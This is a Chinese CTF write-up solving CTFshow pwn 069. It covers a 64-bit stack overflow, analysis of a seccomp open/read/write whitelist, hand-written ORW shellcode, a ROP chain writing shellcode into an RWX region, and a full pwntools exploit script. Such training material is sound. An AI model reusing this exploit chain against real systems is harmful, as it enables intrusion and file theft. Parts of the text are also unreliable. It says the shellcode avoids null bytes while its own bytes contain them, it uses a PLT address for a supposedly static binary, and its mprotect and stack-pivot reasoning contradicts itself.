CTF Pwn 069:64位栈溢出与ORW沙箱逃逸实战解析
1. 项目概述与核心挑战
最近在复盘CTFshow的pwn系列题目,做到pwn 069这一题时,感觉它把64位栈溢出、沙箱逃逸和Shellcode构造这几个点结合得非常巧妙,是一道检验综合能力的经典题目。题目本身是一个64位的可执行程序,开启了栈不可执行(NX)保护,并且通过seccomp沙箱机制严格限制了系统调用的使用。这意味着,我们无法像传统的栈溢出那样直接执行一个execve(“/bin/sh”)的Shellcode来getshell。题目的核心目标,变成了在沙箱的“牢笼”里,利用有限的、被允许的系统调用,去读取服务器上的一个特定文件(通常是flag),这也就是所谓的“ORW”(Open-Read-Write)利用链。
很多刚接触沙箱题的朋友可能会有点懵,感觉限制太多了无从下手。其实这道题的解题思路非常清晰,就像玩一个解谜游戏:第一步,利用栈溢出漏洞控制程序执行流;第二步,分析沙箱规则,搞清楚我们能“合法”使用哪些系统调用;第三步,根据允许的调用,构造一段能完成“打开文件->读取内容->输出内容”的Shellcode;第四步,将这段Shellcode布置到内存中并跳转执行。整个过程环环相扣,缺一不可。接下来,我就结合自己的解题过程,把这几个环节掰开揉碎了讲清楚,特别是64位汇编调用约定和seccomp规则分析这些容易卡壳的地方。
2. 环境准备与初步分析
拿到一个pwn题,第一步永远是信息收集。我们先用file命令看看程序的基本信息。
$ file pwn pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=..., stripped关键信息出来了:64位、静态链接、剥离了符号表。静态链接意味着我们无法利用动态链接库中的函数(如system),但好处是程序本身包含了所有需要的代码,或许能更容易地找到一些有用的gadget。剥离符号表则会让逆向分析稍微麻烦一点,函数名都没了。
接着用checksec检查安全机制:
$ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)这是一个非常典型的栈溢出漏洞环境:没有栈保护(Canary),栈不可执行(NX),并且没有地址随机化(PIE)。没有Canary让我们可以肆意覆盖返回地址;NX开启意味着我们不能直接在栈上执行代码,必须转向ROP或类似技术;没有PIE则让.text段的地址是固定的,我们能够可靠地计算和使用程序自身的代码片段(gadgets)。这些信息结合起来,基本确定了利用方向是栈溢出覆盖返回地址,构造ROP链。
运行一下程序,看看它的交互逻辑。通常这类题目会有一个简单的输入点。
$ ./pwn Welcome to CTFshow pwn 069! Please input your name: AAAA Hello, AAAA!程序会读取我们的输入并回显。直觉告诉我,这个读取输入的地方很可能就是漏洞点。我们需要用逆向工具(如IDA Pro, Ghidra, r2)进一步分析。由于是静态链接且 stripped,在IDA中打开后,直接找main函数可能不太方便,可以从程序的入口点_start或字符串交叉引用入手。通过搜索字符串“Welcome to CTFshow”或“Please input your name”,可以快速定位到主要函数。
注意:静态链接的程序体积通常很大,逆向时要有耐心。重点不是读懂所有代码,而是找到那个读取用户输入的缓冲区,并确定其大小和与返回地址的偏移。
3. 漏洞点定位与偏移计算
通过逆向分析(这里以伪代码示意),我们找到了类似如下的关键函数:
void vulnerable_function() { char buf[0x40]; // 假设缓冲区大小是0x40字节 puts("Please input your name:"); read(0, buf, 0x100); // 这里存在明显的栈溢出!读取了0x100字节,但buf只有0x40 printf("Hello, %s!\n", buf); }漏洞非常清晰:buf是一个在栈上分配的、大小为0x40(64)字节的字符数组,但read函数允许读取最多0x100(256)字节的数据。这造成了栈溢出,我们可以覆盖vulnerable_function的返回地址,从而控制程序的执行流。
下一步是计算覆盖返回地址所需的精确偏移量。在64位程序中,参数传递和栈帧结构与32位有所不同,我们需要考虑:
- 缓冲区
buf本身的大小。 buf之后可能存在的对齐填充(padding)。- 保存的基址指针(RBP)的位置。
- 最后才是返回地址(RIP)。
最可靠的方法是动态调试。使用gdb,在read函数返回后下断点,查看栈布局。
$ gdb ./pwn (gdb) pattern create 200 'AAA...' (生成一个200字节的特定模式字符串) (gdb) r ... 程序运行,输入模式字符串 ... (gdb) x/gx $rsp ... 查看栈顶 ... (gdb) info frame ... 查看栈帧信息 ...更常用的方法是利用cyclic工具(来自pwntools)生成一段唯一字符串,输入后程序崩溃时,记录下触发崩溃的地址值,再用cyclic -l <地址值>反推出偏移量。
假设我们通过调试计算出偏移量是0x40 + 8 = 0x48(72)字节。这意味着,我们需要先填充72个字节的垃圾数据(如b'A'*72),之后写入的8个字节(64位地址)就会精确覆盖到返回地址上。
实操心得:在计算64位偏移时,经常容易忽略
rbp本身也占8个字节。所以偏移量通常是buffer_size + 8(rbp)。使用cyclic工具能极大减少手动计算错误。另外,静态链接程序内部可能调用其他函数,栈布局稍有不同,一定要以动态调试结果为准。
4. Seccomp沙箱规则深度解析
控制了返回地址,接下来往哪跳?传统思路是跳转到system(“/bin/sh”)或者布置一个Shellcode。但题目描述和checksec提示我们,存在seccomp沙箱。我们必须先搞清楚这个沙箱到底允许我们做什么。
seccomp(secure computing mode)是Linux内核提供的一种沙箱机制,可以严格限制进程能够使用的系统调用。题目通常会在main函数或初始化函数中调用prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, filter)来设置规则。
我们需要将沙箱规则(即filter)提取出来进行分析。有两种常用方法:
方法一:静态分析提取在IDA中,找到设置seccomp的代码,其第三个参数通常是一个指向struct sock_fprog的指针,里面包含了伯克利包过滤器(BPF)指令。我们可以写一个脚本将这些指令dump出来,或者使用seccomp-tools这个神器。
方法二:动态调试dump在gdb中,在调用prctl处下断点,打印出filter指针指向的内存内容,保存为文件。
这里强烈推荐使用seccomp-tools,它可以直接对二进制文件进行解析:
$ seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010 0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010 0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010 0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010 0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILL分析这段BPF代码,逻辑非常清晰:
- 检查架构是否为
x86_64(ARCH_X86_64),不是则KILL。 - 检查系统调用号是否小于
0x40000000(通常为真),并过滤一个无效值。 - 允许的系统调用有:
read(0),write(1),open(2),exit(60),exit_group(231)。 - 任何其他系统调用都会导致进程被
KILL。
这就是典型的ORW沙箱!它只允许我们打开文件、读取文件、写入数据(到标准输出),以及退出进程。像execve,system,mprotect这些用于getshell或修改内存属性的调用都被禁用了。因此,我们的利用目标非常明确:构造一段只使用open、read、write这三个系统调用的Shellcode,来读取flag文件。
注意事项:
seccomp-tools的输出是反汇编的BPF指令,需要一点耐心阅读。关键看return ALLOW前面的那些条件判断,它们就是白名单。sys_number对应的数字需要查表(如/usr/include/asm/unistd_64.h)来确认具体是哪个系统调用。
5. 64位ORW Shellcode构造详解
既然只能使用open、read、write,我们就需要手写或组装一段Shellcode。在64位Linux下,系统调用通过syscall指令触发,参数通过寄存器传递:
rax: 系统调用号rdi: 第一个参数rsi: 第二个参数rdx: 第三个参数r10: 第四个参数(注意,不是rcx)r8: 第五个参数r9: 第六个参数
我们的目标是:打开名为flag的文件,读取其内容,然后将内容写到标准输出(文件描述符1)。
步骤一:打开文件(open)
- 系统调用号:
open= 2 (/usr/include/asm/unistd_64.h中#define __NR_open 2) - 参数:
rdi: 文件路径字符串的地址。我们需要在内存中布置字符串"flag"或"./flag"。rsi: 打开标志(flags)。通常只读打开用O_RDONLY= 0。rdx: 模式(mode)。打开已存在文件时可设为0。
- 返回值:成功时返回文件描述符(一个小的非负整数),会存放在
rax中。我们需要保存这个值,供后续read使用。
步骤二:读取文件内容(read)
- 系统调用号:
read= 0 - 参数:
rdi: 文件描述符,即上一步open的返回值。rsi: 缓冲区的地址,用于存放读出的数据。我们需要一块可写的内存区域。rdx: 要读取的字节数。可以设置一个较大的值,比如0x100。
- 返回值:实际读取的字节数,存放在
rax中。这个值可以用于后续write指定长度。
步骤三:写入标准输出(write)
- 系统调用号:
write= 1 - 参数:
rdi: 文件描述符。标准输出是1。rsi: 要写入的数据的地址,即上一步read使用的缓冲区地址。rdx: 要写入的字节数,即上一步read的返回值。
Shellcode汇编实现我们需要用汇编指令实现上述逻辑,并确保Shellcode是位置无关的(PIC),且不包含空字节(\x00,因为空字节会被C字符串函数截断)。下面是一段经典的64位ORW Shellcode汇编:
section .text global _start _start: ; 1. 将字符串 "flag" 压入栈中 xor rax, rax push rax ; 字符串结尾的 null 字节 mov rbx, 0x67616c66 ; 'g','a','l','f' 即 "flag" 的十六进制表示 (注意小端序) push rbx mov rdi, rsp ; rdi 现在指向栈上的字符串 "flag\0" ; 2. 调用 open(rdi, O_RDONLY, 0) xor rsi, rsi ; flags = O_RDONLY = 0 xor rdx, rdx ; mode = 0 mov rax, 2 ; syscall number for open syscall ; 3. 将返回的文件描述符保存到 rbx 中 mov rbx, rax ; 4. 调用 read(rbx, rsp, 0x100) mov rdi, rbx ; fd = 刚才 open 返回的 fd mov rsi, rsp ; buf = 栈空间作为缓冲区 mov rdx, 0x100 ; count = 读取 0x100 字节 xor rax, rax ; syscall number for read = 0 syscall ; 5. 调用 write(1, rsp, rax) mov rdx, rax ; count = read 实际返回的字节数 mov rdi, 1 ; fd = 1 (stdout) mov rsi, rsp ; buf = 栈上存放 flag 内容的地方 mov rax, 1 ; syscall number for write syscall ; 6. 退出程序 (可选) mov rax, 60 ; syscall number for exit xor rdi, rdi syscall将这段汇编代码保存为orw.asm,然后用nasm编译并提取机器码:
$ nasm -f elf64 orw.asm -o orw.o $ ld orw.o -o orw $ objdump -d orw | grep -A50 "<_start>:" | grep -oP '\t[0-9a-f]{2}( [0-9a-f]{2})*' | tr -d '\t' | sed 's/ /\\x/g'你会得到一串类似\x48\x31\xc0\x50\x48\xbb\x66\x6c\x61\x67\x00\x00\x00\x00\x53\x48\x89\xe7...的Shellcode。注意,我们上面汇编代码中mov rbx, 0x67616c66后直接push rbx,会在栈上形成66 6c 61 67 00 00 00 00(即"flag\0\0\0\0"),因为rbx是64位寄存器,推入的是8字节。为了更精简,可以优化为只推入4字节,但需要处理对齐。上面的写法是清晰且可用的。
核心技巧:构造Shellcode时,优先使用
xor、mov等指令来清零或赋值寄存器,避免直接出现\x00。字符串要倒序推入栈中(小端序)。syscall指令的机器码是\x0f\x05。在实战中,也可以使用pwntools的shellcraft模块来生成ORW Shellcode,非常方便:shellcode = asm(shellcraft.amd64.linux.cat('flag'))。
6. 利用链设计与ROP Gadget寻找
现在我们有了Shellcode,但NX保护阻止我们在栈上执行它。我们需要将Shellcode写入一个可写且可执行的内存区域,然后跳转过去。然而,静态链接的程序中,通常所有段(包括栈、堆、数据段)的权限在链接时就已经确定,NX开启后很难找到现成的可执行页面。
这时,我们需要转换思路:利用ROP(Return-Oriented Programming)技术,调用mprotect或mmap等系统调用来创建或修改出一块可执行内存!但是,seccomp沙箱禁止了mprotect(系统调用号10)和mmap(系统调用号9)。
这就陷入了死循环吗?并非如此。仔细回顾沙箱规则,它只限制了系统调用。而mprotect和mmap是C库函数,它们内部最终会触发系统调用。沙箱禁止的是syscall指令发起的特定调用号。但是,程序本身是静态链接的,它的.text段里已经包含了mprotect和mmap函数的完整机器码。如果我们能控制程序执行流,让它直接执行libc中的mprotect函数代码(而不是通过syscall指令),那么内核在执行该系统调用时,检查的是当前进程的上下文,而该进程的沙箱规则已经生效,所以mprotect的系统调用依然会被拦截。
因此,在严格的ORW沙箱下,直接调用mprotect是不可行的。我们必须寻找其他路径。一个关键的突破口是:虽然栈不可执行,但我们可以将Shellcode写入一个可写的内存区域(如.bss段或堆),然后寻找一种方法,让这段内存变得可执行。
在有些题目中,程序可能本身使用了mmap分配了具有PROT_EXEC权限的内存,或者存在某些函数指针(如atexit、回调函数)指向可写区域。但在本题(pwn 069)的典型解法中,我们发现了更巧妙的路径:利用read函数本身。
read函数的作用是将数据从文件描述符读入缓冲区。它的第三个参数rdx是读取的长度。如果我们能控制rdx为一个很大的值(比如0x1000),并且控制目标地址rsi为某个内存区域,那么read就可以向该区域写入大量我们控制的数据,包括Shellcode。
那么,如何执行这段Shellcode呢?如果该内存区域不可执行,跳转过去就会触发段错误。这里就需要用到栈迁移(Stack Pivoting)技术。我们可以将栈指针rsp迁移到我们可控的、存放了Shellcode的缓冲区附近,然后通过ret指令,让CPU从这块缓冲区中“取指执行”。但NX保护下,数据区不可执行,ret指令从数据区读取的“指令”不会被真正执行,只会被当作地址,导致控制流再次跳转。
因此,纯粹的栈迁移在NX开启时不能直接执行代码。我们需要一个可执行的内存页。在静态链接程序中,.text段是可执行的。我们的Shellcode能否放入.text段?.text段通常是只读的。
最终的解决方案,往往依赖于题目本身提供的“巧合”。经过对二进制文件的仔细搜索,我们可能会发现:
- 程序中存在一段可读可写可执行(RWX)的内存区域。这在不严谨的编译选项或特定链接脚本下可能出现。
- 程序在初始化时,通过
mmap或类似方式分配了一块具有执行权限的内存,并且其地址是固定的或可预测的。 - 存在一个已知地址的、内容完全可控的缓冲区(比如一个全局数组
char buf[0x1000]),并且这个缓冲区所在的段(如.data、.bss)被错误地赋予了执行权限(虽然这种情况在现代编译环境下很少见)。
在pwn 069的常见预期解中,通常是第一种或第二种情况。我们需要用ROP链完成以下步骤:
- 将ORW Shellcode写入一块已知地址的、可执行的内存区域(记为
shellcode_addr)。 - 跳转到
shellcode_addr执行。
为了写入Shellcode,我们需要一个“写内存”的原语。这可以通过ROP调用read函数实现:控制rdi=0(标准输入),rsi=shellcode_addr,rdx=len(shellcode),然后调用read的PLT项或函数地址。这需要我们能控制这三个参数。
因此,我们的ROP链需要以下gadgets:
pop rdi; ret:用于控制第一个参数。pop rsi; ret:用于控制第二个参数。pop rdx; ret或pop rdx; pop r??; ret:用于控制第三个参数。控制rdx的gadget有时比较难找,也可以寻找pop rdx; ret,或者通过其他寄存器间接控制(如mov rdx, rax; ret)。pop rax; ret:用于控制系统调用号(如果需要直接进行syscall)。syscall; ret:用于触发系统调用。- 此外,还需要
ret指令来串联各个gadget。
在静态链接的、剥离了符号表的二进制文件中,寻找gadget是一项耐心的工作。可以使用ROPgadget、ropper或pwntools的ROP模块来搜索。
$ ROPgadget --binary ./pwn > gadgets.txt $ grep "pop rdi" gadgets.txt $ grep "pop rsi" gadgets.txt $ grep "pop rdx" gadgets.txt $ grep "syscall" gadgets.txt $ grep "ret" gadgets.txt | head -20假设我们找到了以下关键gadgets的地址(地址需根据题目具体分析):
pop rdi; ret:0x4011abpop rsi; pop r15; ret:0x4011a9(注意,这里多弹出了一个r15,我们需要在链中为它填充一个无关值)pop rdx; ret:0x401234(假设)syscall; ret:0x401567
同时,我们还需要一块可执行内存的地址。假设通过分析,我们发现程序在0x402000处有一块0x1000大小的RWX内存(例如,通过查看/proc/self/maps或分析程序初始化代码)。
那么,构造ROP链的payload结构如下:
payload = b'A' * offset # 填充至返回地址 payload += p64(pop_rdi_ret) # 设置 read 的第一个参数:fd = 0 (stdin) payload += p64(0) payload += p64(pop_rsi_r15_ret) # 设置 read 的第二个参数:buf = 可执行内存地址 payload += p64(executable_addr) # 例如 0x402000 payload += p64(0) # 填充 r15 的垃圾数据 payload += p64(pop_rdx_ret) # 设置 read 的第三个参数:count = Shellcode长度 payload += p64(len(shellcode)) payload += p64(read_plt_addr) # 调用 read 函数,等待我们输入 Shellcode # read 函数返回后,会返回到我们链中的下一个地址 payload += p64(executable_addr) # 直接跳转到我们刚刚写入 Shellcode 的地址发送这个payload后,程序会执行read(0, executable_addr, len(shellcode)),然后暂停等待我们的输入。此时,我们再发送我们精心构造的、不含空字节的ORW Shellcode。程序接收到Shellcode后,read函数返回,接着执行ret指令,弹栈得到executable_addr并跳转过去,最终执行我们的Shellcode。
避坑指南:在构造ROP链时,务必注意栈平衡。每个gadget执行后的
ret指令都会从栈顶弹出下一个地址来跳转。确保你的payload中,在函数调用(如read)之后的下一个地址是你希望继续执行的位置。另外,如果gadget会pop多个寄存器(如pop rsi; pop r15; ret),一定要记得在payload中为每一个被pop的寄存器都提供一个值(哪怕是0),否则栈指针会错乱,导致后续链失效。
7. 完整利用脚本编写与调试
将上述所有步骤结合起来,我们就可以编写一个完整的利用脚本了。这里使用pwntools框架,因为它能极大简化本地调试和远程交互的过程。
#!/usr/bin/env python3 from pwn import * context(arch='amd64', os='linux') # context.log_level = 'debug' # 调试时开启 # 根据题目启动方式选择 # p = process('./pwn') # 本地运行 p = remote('xxx.xxx.xxx.xxx', 9999) # 连接远程 # 1. 计算偏移量 (假设为72) offset = 72 # 2. 关键地址 (需要根据实际题目替换!!!) pop_rdi_ret = 0x4011ab pop_rsi_r15_ret = 0x4011a9 pop_rdx_ret = 0x401234 read_plt = 0x401050 # read函数的PLT地址或函数地址 executable_addr = 0x402000 # 可读可写可执行的内存区域地址 # 3. 构造ROP链,用于调用read将shellcode写入可执行区域 rop_chain = b'A' * offset rop_chain += p64(pop_rdi_ret) # rdi = 0 (stdin) rop_chain += p64(0) rop_chain += p64(pop_rsi_r15_ret) # rsi = executable_addr rop_chain += p64(executable_addr) rop_chain += p64(0) # 填充r15 rop_chain += p64(pop_rdx_ret) # rdx = shellcode长度 (稍后确定) # 先占位,发送ROP链后再发送shellcode shellcode_len = 200 # 预留足够空间 rop_chain += p64(shellcode_len) rop_chain += p64(read_plt) # 调用read(0, executable_addr, shellcode_len) rop_chain += p64(executable_addr) # read返回后,跳转到shellcode执行 # 4. 发送ROP链 p.recvuntil(b'Please input your name:\n') p.send(rop_chain) # 5. 构造ORW Shellcode (使用pwntools的shellcraft快速生成) # 注意:shellcraft.cat('flag') 生成的shellcode可能包含openat等,需确保符合沙箱规则 # 更稳妥的是使用严格的open/read/write shellcode = asm(''' /* 将字符串 "flag" 压栈 */ xor rax, rax push rax mov rbx, 0x67616c66 /* 'flag' */ push rbx mov rdi, rsp /* open(rdi, O_RDONLY, 0) */ xor rsi, rsi xor rdx, rdx mov rax, 2 syscall /* read(fd, rsp, 0x100) */ mov rdi, rax mov rsi, rsp mov rdx, 0x100 xor rax, rax syscall /* write(1, rsp, rax) */ mov rdx, rax mov rdi, 1 mov rsi, rsp mov rax, 1 syscall /* exit(0) */ mov rax, 60 xor rdi, rdi syscall ''') # 6. 发送Shellcode p.send(shellcode.ljust(shellcode_len, b'\x90')) # 用nop指令填充到指定长度 # 7. 接收flag p.interactive()脚本编写与调试要点:
- 地址替换:脚本中的
pop_rdi_ret、executable_addr等关键地址必须替换为题目二进制文件中的实际值。这需要通过逆向工程和动态调试来获取。 - 偏移量确认:
offset变量必须准确。使用cyclic和gdb反复验证。 - Shellcode长度:
shellcode_len需要足够容纳你的Shellcode。可以先用len(shellcode)计算实际长度,并留一些余量。在发送时用nop(\x90)填充是个好习惯。 - 调试技巧:在脚本开头加上
context.log_level = 'debug',可以看到所有发送和接收的数据,对于排查问题非常有用。在关键函数(如read)调用前后下断点,观察寄存器和内存状态是否符合预期。 - 本地测试:务必先在本地用
process('./pwn')测试通过,再尝试远程。本地测试时可以搭配gdb.attach(p)进行动态调试。
注意事项:生成的Shellcode务必检查是否包含空字节(
\x00),因为read函数虽然可以读入空字节,但某些字符串处理函数可能会截断。使用pwntools的asm函数生成的Shellcode通常是干净的。可以用print(shellcode.hex())来检查。
8. 常见问题与排查技巧实录
在实际操作中,你可能会遇到各种各样的问题。这里记录几个我踩过的坑和解决方法:
问题1:ROP链执行后程序崩溃,报错SIGSEGV。
- 可能原因1:偏移量计算错误。这是最常见的问题。覆盖的返回地址没有对准真正的返回地址,导致栈失衡。排查方法:在gdb中运行脚本,在溢出函数返回时(
ret指令)下断点,观察栈顶(rsp指向的内容)是否是你ROP链的第一个gadget地址。如果不是,调整偏移量。 - 可能原因2:gadget地址错误或不可执行。静态链接程序中可能存在多个相似的gadget,要确认找到的gadget地址确实指向正确的指令序列。排查方法:在gdb中用
x/i <address>查看该地址的指令,确认是pop rdi; ret而不是其他指令。同时检查该地址是否在程序的.text段内(具有可执行权限)。 - 可能原因3:栈对齐问题。某些系统调用或函数(特别是涉及SSE指令的)要求栈指针
rsp在调用时是16字节对齐的。而ret指令会pop一个8字节地址,可能导致栈不对齐。解决方法:在ROP链中插入一个单独的ret指令(地址通常很容易找到)来调整栈对齐。例如:payload += p64(ret_gadget) + p64(pop_rdi_ret)...。
问题2:成功跳转到Shellcode,但执行open系统调用后返回负值(错误)。
- 可能原因1:文件路径错误。Shellcode中指定的文件路径(如
"flag")在服务器上可能不存在,或者路径不对(可能需要"./flag"或"/flag")。排查方法:查看open的返回值(rax寄存器)。如果为负数,其绝对值就是错误码(如-2表示ENOENT,文件不存在)。可以尝试在Shellcode中打印错误码,或者多尝试几种路径。 - 可能原因2:沙箱规则更严格。可能只允许
openat而不是open,或者对open的标志位有要求。解决方法:重新仔细分析seccomp规则。使用seccomp-tools的详细模式:seccomp-tools dump -f inspect ./pwn。确保你的系统调用号完全匹配白名单。
问题3:read函数成功返回,但跳转到executable_addr后没有任何输出,程序静默退出。
- 可能原因1:内存区域不可执行。这是最可能的原因。你选择的
executable_addr可能只有读写权限,没有执行权限。跳转过去后,CPU尝试从该地址取指,会触发SIGSEGV。排查方法:在gdb中,在跳转前用vmmap命令(或info proc mappings)查看executable_addr所在内存区域的权限。确保有x(执行)权限。 - 可能原因2:Shellcode被截断或覆盖。
read函数读取的字节数可能不足,或者后续的代码覆盖了Shellcode。排查方法:在read函数返回后,于executable_addr处下断点,用x/20i executable_addr查看内存中的指令是否是你的Shellcode。如果不是,检查read的参数是否正确,以及发送的Shellcode是否完整。 - 可能原因3:Shellcode自身有bug。比如寄存器保存与恢复出错,或者触发了非法指令。解决方法:将Shellcode单独提取出来,写一个简单的C程序测试其功能。或者使用
pwntools的shellcraft生成的、经过验证的Shellcode。
问题4:远程可以打通,但拿不到flag,或者输出乱码。
- 可能原因1:flag文件不在当前目录。题目可能将flag放在其他路径,如
/home/pwn/flag、/flag等。解决方法:尝试常见的flag路径,或者用/proc/self/cwd/flag指向当前工作目录。有时题目描述或源码会提示。 - 可能原因2:输出被缓冲。
write系统调用成功,但数据可能被标准输出缓冲机制卡住,没有立即显示。解决方法:在Shellcode的write调用后,添加一个exit或exit_group系统调用,强制进程结束并刷新缓冲区。或者尝试写入文件描述符2(stderr),它通常是无缓冲的。 - 可能原因3:网络连接问题。远程服务器可能关闭了连接,或者输出被截断。排查方法:在脚本中,尝试循环接收直到连接关闭:
print(p.recvall().decode())。
通用调试命令速查表:
| 场景 | GDB 命令 | 作用 |
|---|---|---|
| 计算偏移 | cyclic 200cyclic -l 0x6161616c | 生成定位字符串,计算偏移量 |
| 查看内存映射 | vmmap或info proc mappings | 查看各内存段权限,找RWX区域 |
| 查看寄存器 | i r或info registers | 查看所有寄存器值 |
| 查看栈内存 | x/10gx $rsp | 查看栈顶10个8字节内容 |
| 反汇编地址 | x/i 0x401000 | 查看地址处的指令 |
| 下断点 | b *0x401234b read | 在地址或函数处下断点 |
| 继续执行 | c | 继续运行程序 |
| 单步执行 | ni(next instruction)si(step into) | 单步调试 |
| 附加进程 | gdb.attach(p)(在pwntools脚本中) | 将gdb附加到运行中的进程 |
最后,pwn 069这道题的精髓在于将栈溢出、ROP链构造、沙箱绕过和Shellcode编写串联起来。它要求你对64位调用约定、系统调用、内存布局和漏洞利用的整个链条有清晰的理解。每一步的失误都可能导致前功尽弃,耐心调试和严谨分析是成功的关键。当你看到终端上打印出flag{...}的那一刻,你会觉得这一切都是值得的。